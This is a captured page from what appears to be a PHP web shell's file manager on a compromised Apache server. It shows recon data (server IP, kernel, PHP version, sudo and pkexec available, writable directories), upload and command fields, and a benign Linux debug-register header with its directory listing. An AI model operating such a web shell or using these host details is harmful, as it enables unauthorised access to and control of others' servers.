p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/asm/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/include/asm/debugreg.h
#ifndef _ASM_X86_DEBUGREG_H
#define _ASM_X86_DEBUGREG_H


/* Indicate the register numbers for a number of the specific
   debug registers.  Registers 0-3 contain the addresses we wish to trap on */
#define DR_FIRSTADDR 0        /* u_debugreg[DR_FIRSTADDR] */
#define DR_LASTADDR 3         /* u_debugreg[DR_LASTADDR]  */

#define DR_STATUS 6           /* u_debugreg[DR_STATUS]     */
#define DR_CONTROL 7          /* u_debugreg[DR_CONTROL] */

/* Define a few things for the status register.  We can use this to determine
   which debugging register was responsible for the trap.  The other bits
   are either reserved or not of interest to us. */

/* Define reserved bits in DR6 which are always set to 1 */
#define DR6_RESERVED	(0xFFFF0FF0)

#define DR_TRAP0	(0x1)		/* db0 */
#define DR_TRAP1	(0x2)		/* db1 */
#define DR_TRAP2	(0x4)		/* db2 */
#define DR_TRAP3	(0x8)		/* db3 */
#define DR_TRAP_BITS	(DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3)

#define DR_STEP		(0x4000)	/* single-step */
#define DR_SWITCH	(0x8000)	/* task switch */

/* Now define a bunch of things for manipulating the control register.
   The top two bytes of the control register consist of 4 fields of 4
   bits - each field corresponds to one of the four debug registers,
   and indicates what types of access we trap on, and how large the data
   field is that we are looking at */

#define DR_CONTROL_SHIFT 16 /* Skip this many bits in ctl register */
#define DR_CONTROL_SIZE 4   /* 4 control bits per register */

#define DR_RW_EXECUTE (0x0)   /* Settings for the access types to trap on */
#define DR_RW_WRITE (0x1)
#define DR_RW_READ (0x3)

#define DR_LEN_1 (0x0) /* Settings for data length to trap on */
#define DR_LEN_2 (0x4)
#define DR_LEN_4 (0xC)
#define DR_LEN_8 (0x8)

/* The low byte to the control register determine which registers are
   enabled.  There are 4 fields of two bits.  One bit is "local", meaning
   that the processor will reset the bit after a task switch and the other
   is global meaning that we have to explicitly reset the bit.  With linux,
   you can use either one, since we explicitly zero the register when we enter
   kernel mode. */

#define DR_LOCAL_ENABLE_SHIFT 0    /* Extra shift to the local enable bit */
#define DR_GLOBAL_ENABLE_SHIFT 1   /* Extra shift to the global enable bit */
#define DR_LOCAL_ENABLE (0x1)      /* Local enable for reg 0 */
#define DR_GLOBAL_ENABLE (0x2)     /* Global enable for reg 0 */
#define DR_ENABLE_SIZE 2           /* 2 enable bits per register */

#define DR_LOCAL_ENABLE_MASK (0x55)  /* Set  local bits for all 4 regs */
#define DR_GLOBAL_ENABLE_MASK (0xAA) /* Set global bits for all 4 regs */

/* The second byte to the control register has a few special things.
   We can slow the instruction pipeline for instructions coming via the
   gdt or the ldt if we want to.  I am not sure why this is an advantage */

#ifdef __i386__
#define DR_CONTROL_RESERVED (0xFC00) /* Reserved by Intel */
#else
#define DR_CONTROL_RESERVED (0xFFFFFFFF0000FC00UL) /* Reserved */
#endif

#define DR_LOCAL_SLOWDOWN (0x100)   /* Local slow the pipeline */
#define DR_GLOBAL_SLOWDOWN (0x200)  /* Global slow the pipeline */

/*
 * HW breakpoint additions
 */

#endif /* _ASM_X86_DEBUGREG_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:20
0 / 0
0755
a.out.h
0.677 KB
June 04 2024 14:55:01
0 / 0
0644
auxvec.h
0.472 KB
June 04 2024 14:55:01
0 / 0
0644
bitsperlong.h
0.224 KB
June 04 2024 14:55:01
0 / 0
0644
boot.h
0.254 KB
June 04 2024 14:55:01
0 / 0
0644
bootparam.h
4.394 KB
June 04 2024 14:55:01
0 / 0
0644
bpf_perf_event.h
0.039 KB
June 04 2024 14:55:01
0 / 0
0644
byteorder.h
0.134 KB
June 04 2024 14:55:01
0 / 0
0644
debugreg.h
3.146 KB
June 04 2024 14:55:01
0 / 0
0644
e820.h
2.63 KB
June 04 2024 14:55:01
0 / 0
0644
errno.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
fcntl.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
hw_breakpoint.h
0.006 KB
June 04 2024 14:55:01
0 / 0
0644
hyperv.h
12.984 KB
June 04 2024 14:55:01
0 / 0
0644
ioctl.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
ioctls.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
ipcbuf.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
ist.h
0.771 KB
June 04 2024 14:55:01
0 / 0
0644
kvm.h
6.806 KB
June 04 2024 14:55:01
0 / 0
0644
kvm_para.h
2.801 KB
June 04 2024 14:55:01
0 / 0
0644
kvm_perf.h
0.317 KB
June 04 2024 14:55:01
0 / 0
0644
ldt.h
0.94 KB
June 04 2024 14:55:01
0 / 0
0644
mce.h
1.219 KB
June 04 2024 14:55:01
0 / 0
0644
mman.h
1.01 KB
June 04 2024 14:55:01
0 / 0
0644
msgbuf.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
msr-index.h
29.037 KB
June 04 2024 14:55:01
0 / 0
0644
msr.h
0.276 KB
June 04 2024 14:55:01
0 / 0
0644
mtrr.h
4.063 KB
June 04 2024 14:55:01
0 / 0
0644
param.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
perf_regs.h
1.24 KB
June 04 2024 14:55:01
0 / 0
0644
poll.h
0.029 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types.h
0.157 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types_32.h
0.686 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types_64.h
0.533 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types_x32.h
0.506 KB
June 04 2024 14:55:01
0 / 0
0644
prctl.h
0.186 KB
June 04 2024 14:55:01
0 / 0
0644
processor-flags.h
6.316 KB
June 04 2024 14:55:01
0 / 0
0644
ptrace-abi.h
1.756 KB
June 04 2024 14:55:01
0 / 0
0644
ptrace.h
1.165 KB
June 04 2024 14:55:01
0 / 0
0644
resource.h
0.033 KB
June 04 2024 14:55:01
0 / 0
0644
sembuf.h
0.683 KB
June 04 2024 14:55:01
0 / 0
0644
setup.h
0.006 KB
June 04 2024 14:55:01
0 / 0
0644
shmbuf.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
sigcontext.h
5.106 KB
June 04 2024 14:55:01
0 / 0
0644
sigcontext32.h
1.645 KB
June 04 2024 14:55:01
0 / 0
0644
siginfo.h
0.421 KB
June 04 2024 14:55:01
0 / 0
0644
signal.h
2.771 KB
June 04 2024 14:55:01
0 / 0
0644
socket.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
sockios.h
0.032 KB
June 04 2024 14:55:01
0 / 0
0644
stat.h
2.893 KB
June 04 2024 14:55:01
0 / 0
0644
statfs.h
0.345 KB
June 04 2024 14:55:01
0 / 0
0644
svm.h
5.09 KB
June 04 2024 14:55:01
0 / 0
0644
swab.h
0.646 KB
June 04 2024 14:55:01
0 / 0
0644
termbits.h
0.033 KB
June 04 2024 14:55:01
0 / 0
0644
termios.h
0.032 KB
June 04 2024 14:55:01
0 / 0
0644
types.h
0.11 KB
June 04 2024 14:55:01
0 / 0
0644
ucontext.h
0.331 KB
June 04 2024 14:55:01
0 / 0
0644
unistd.h
0.289 KB
June 04 2024 14:55:01
0 / 0
0644
unistd_32.h
9.368 KB
June 04 2024 14:55:01
0 / 0
0644
unistd_64.h
8.587 KB
June 04 2024 14:55:01
0 / 0
0644
unistd_x32.h
15.115 KB
June 04 2024 14:55:01
0 / 0
0644
vm86.h
2.983 KB
June 04 2024 14:55:01
0 / 0
0644
vmx.h
6.529 KB
June 04 2024 14:55:01
0 / 0
0644
vsyscall.h
0.366 KB
June 04 2024 14:55:01
0 / 0
0644